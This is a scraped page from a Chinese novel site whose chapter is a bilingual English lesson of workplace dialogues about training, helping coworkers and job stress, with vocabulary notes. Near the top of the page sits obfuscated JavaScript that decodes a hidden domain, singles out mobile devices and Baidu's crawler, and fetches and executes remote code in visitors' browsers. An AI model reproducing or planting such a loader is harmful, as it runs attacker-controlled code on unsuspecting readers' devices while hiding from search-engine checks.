妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

02 初来乍到(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

小贴士

1. all the new employees will go through a training for three months.

所有的新员工都要参加为期3个月的培训。

2. new factory hands will be trained at the factory.

新进工厂的工人将要在工厂里接受培训。

3. will there be an orientation for newcomers?

会有新员工培训吗?

4. what we should learn today is the teamwork spirit and how to set up a good team.

今天我们要学习的是团队合作精神和怎样组建一个良好的团队。

5. be more careful with the numbers.

对数字要格外仔细点。

6. when is my pre-job training?

我的入职培训什么时候开始?

7. at the end of the training, you need to write a report as a conclusion.

在培训结束时,你要写一份总结性的培训报告。

8. does the learning plan to all employees include cross-training?

这次对所有员工的培训计划是否包括换位培训?

同事有难要帮忙

dialogue

anna looks very upset in the office. he colleague tina comes to see what&#039;s wrong with her.

安娜在办公室里看起来有些着急,她的同事蒂娜过来看看她是怎么了。

tina: anna, what&#039;s wrong with you on earth? you look like a cat on hot bricks.

蒂娜:安娜,你究竟是怎么了?你看起来像是热锅上的蚂蚁。

anna: alas, what a fearful mess! i have too much work to do and i don&#039;t know how to get down to it.

安娜:哎呀,简直是一团糟。我有很多工作要做,但我不知道从哪儿开始。

tina: tell me the things that you should do. maybe i can help you.

蒂娜:跟我说说需要做哪些工作,也许我能帮你呢。

anna: it&#039;s so kind of you. recently i have been busy with a scheme. what i need now is to add some data, but i have to ask for a two-day leave because my daughter is ill in the hospital. the problem is that the scheme must be finished before tomorrow morning and i haven&#039;t enough time to deal with it.

安娜:你真是太好了。最近我一直在忙一份策划书,现在我只需要再加上一些数据就行了,但是我必须要请两天假,因为我女儿生病住院了。问题是这份策划必须在明天上午之前完成,但我没有足够的时间。

tina: i am sorry to hear that. but you don&#039;t need to worry about it. i can do you a favor for my work in hand is just done.

蒂娜:听到这事我很难过。你不用担心,我可以帮你,我刚做完了手头的工作。

anna: that&#039;s terrific. this is the revised draft, and please add the data to the first 15 pages according to the draft in the computer. the rest are mine.

安娜:那太好了。这是修改好的草稿,你在电脑上把前15页按照这份草稿加上数据就行了,剩下的我来干。

tina: take it easy. we can handle it on time.

蒂娜:放心吧,我们会按时完成的。

anna: yeah. thank you a million, tina.

安娜:嗯。非常感谢你,蒂娜。

notes

1. upset [?p&#039;set] v. 心烦意乱;搅乱;n. 不安;adj. 心烦的

2. on earth 究竟,到底

3. a cat on hot bricks 热锅上的蚂蚁

4. fearful [&#039;fi?f?l]adj. 可怕的;不安的;严重的

5. mess [mes] n. 脏乱状态;困境;v. 弄糟,弄脏,搞乱

6. scheme [ski:m] n. 计划,方案;阴谋;v. 密谋,策划

7. terrifi [t?&#039;rifik] adj.极妙的;极大的

8. revise [ri&#039;vaiz] v. 修订,修改;复习

小贴士

1. can you give me some tips please?

您能指点一下我吗?

2. do you have any questions?

你有什么问题吗?

3. i&#039;ve got so much to do.

我有好多事要干。

也可以这样说:

i have many things to do.

4. would you mind giving me a hand?

可以请您帮帮忙吗?

也可以这样说:

would you please help me?

5. i&#039;ll be glad to.

乐意为您效劳。

也可以这样说:

with pleasure.

6. you did me a great favor. thank you.

你帮了我大忙,谢谢你。

7. don&#039;t be afraid to ask for assistance.

不要害怕向别人求助。

8. whenever you are in trouble, you can call me for help.

不管你什么时候遇到困难,你都可以找我帮忙。

熟能生巧需磨练

dialogue

susan starts working in a firm. one day she meets some troubles and asks her colleage for help.

苏珊开始在一家公司工作了。一天,她在工作中遇到了一些困难,于是就向同事寻求帮助。

susan: excuse me, john. could you give me some advice on how to write a marketing survey report?

苏珊:打扰一下,约翰。关于怎样写市场调查报告你能给我一些建议吗?

john: have you made a marketing survey?

约翰:你做市场调查了吗?

susan: yes, i completed it yesterday.

苏珊:是的,我昨天完成的。

john: how did you make it?

约翰:以哪种方式做的调查?

susan: i have adopted randomized sampling method and investigated in questionnaires of unity structure.

苏珊:我随机抽取了统一结构的问卷。

john: that&#039;s fine. have you summarized the sales figures and made your conclusions?

约翰:很好。你已经总结出了销售数据并得出结论了吗?

susan: oh, not yet. thank you for your tips. i still have a lot to learn about my work afterwards.

苏珊:哦,还没有。多谢你的指点。在工作上,我以后还有很多要学习呢。

john: well, practice makes perfect. don&#039;t worry about it. everyone needs some time to learn the ropes of a new job.

约翰:熟能生巧。不用担心,每个人都需要时间才能熟悉自己的新工作。

susan: thank you for your toleration and encouragement. i won&#039;t let you down.

苏珊:谢谢你的包容和鼓励。我不会让你们失望的。

john: i favor your performance.

约翰:好好努力。

notes

1. survey report 调查报告

2. randomize [&#039;r?nd?maiz] v. 随意选择;随机化

3. investigate [in&#039;vestigeit] v. 调查,调查研究

4. learn the ropes 熟悉工作

5. toleration [?t?l?&#039;rei??n] n. 宽容,忍受;默认;信仰自由

6. let sb. down 让某人失望

小贴士

1. i&#039;ll get familiar with the work soon.

我会很快熟悉这份工作的。

2. no one minded my faults because they knew that i was still learning the ropes.

没有人介意我犯错,因为他们知道我还在熟悉工作中。

3. it&#039;s all greek to me, but i am willing to learn.

我对这些一窍不通,但是我愿意学习。

4. this job presents many difficulties to the new recruit like me.

这件工作对我这样的新手来说困难重重。

5. a capable salesman must undergo a long process of tempering.

一个干练的营销人员必定要经历长期的磨练。

6. i have to ask you what to do next.

我得问问你下一步做什么。

7. i appreciate your effort very much.

我看好你。

8. it&#039;s unexpected that you can finish it in such a short time.

真没想到你能在这么短的时间内完成这项工作。

让压力见鬼去吧

dialogue

recently tony looks pale and always feel very tired. after work, his good friend steven comes to invite him to a party.

最近托尼看起来没精神,一直觉得很累。下班后,他的好朋友史蒂文过来邀请他参加一个聚会。

steven: hi, tony. what&#039;s the matter with you? you look a bit under the weather.

史蒂文:嗨,托尼。你怎么了?看起来脸色不好。

tony: nothing serious. i just feel a little tired as i often have bad sleep these days. i&#039;ve just taken the new job and i want to do well in my work, but it&#039;s difficult.

托尼:没什么。我只是觉得有点累,因为我最近睡眠一直不好。我刚刚做这份新工作,想好好表现,但这工作太难了。

steven: you have been under too much stress. you must mix work with adequate rest. do remember not to be a workaholic.

史蒂文:你压力太大了。你必须要劳逸结合,切忌不要做工作狂。

tony: i know that. i am anxious to be a good salesman, so i have to pay before getting paid. you know “no pain, no gain”.

托尼:我知道。我想成为一名好的销售人员,要收获就要付出。你知道的:没有付出就没有收获。

steven: but you should also know that all work and no play makes jack a dull boy. work hard and play hard, tony. why not go to the party in my home tonight? all you need now is to relax yourself. just to hell with the pressure.

史蒂文:但是你也应该知道:只工作不娱乐,聪明的人也会变傻。托尼,工作的时候拼命干,要玩的时候尽情玩。为什么不去参加我家今晚的聚会呢?你现在要做的就是使自己放松下来,让压力见鬼去吧。

tony: okay. your words are reasonable. you twisted my arm. let&#039;s go, young man.

托尼:好吧,你说的也有道理。我算是服了你。我们走吧,年轻人。

notes

1. under the weather 不舒服,有病

2. adequate [&#039;?dikwit] adj. 充足的,足够的;适当的;胜任的

3. workaholic [?w?:k?&#039;h?lik] n. 工作狂

4. twist one&#039;s arm 强迫某人,向某人施压

小贴士

1. how do you deal with the pressure at work?

你怎样处理工作压力?

2. i can work under high pressure.

我能承受较强的工作压力。

3. too much stress on the job may cause insomnia and depression.

工作压力太大会导致失眠和抑郁症。

4. the daily pressure of my work is killing me. i just can&#039;t stand it.

日常的工作压力让我精疲力竭,我真受不了。

5. you&#039;d better find some ways to eliminate the stress, or you may get depression after a long time.

你最好想办法给自己减压,否则时间久了你会得抑郁症的。

6. i want to have a foot massage to relax myself.

我想做个足部按摩放松一下。

7. fitness, such as running and doing exercises can relieve stress.

健身,比如说跑步和做操能减轻压力。

8. to hell with the pressure.

让压力见鬼去吧。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间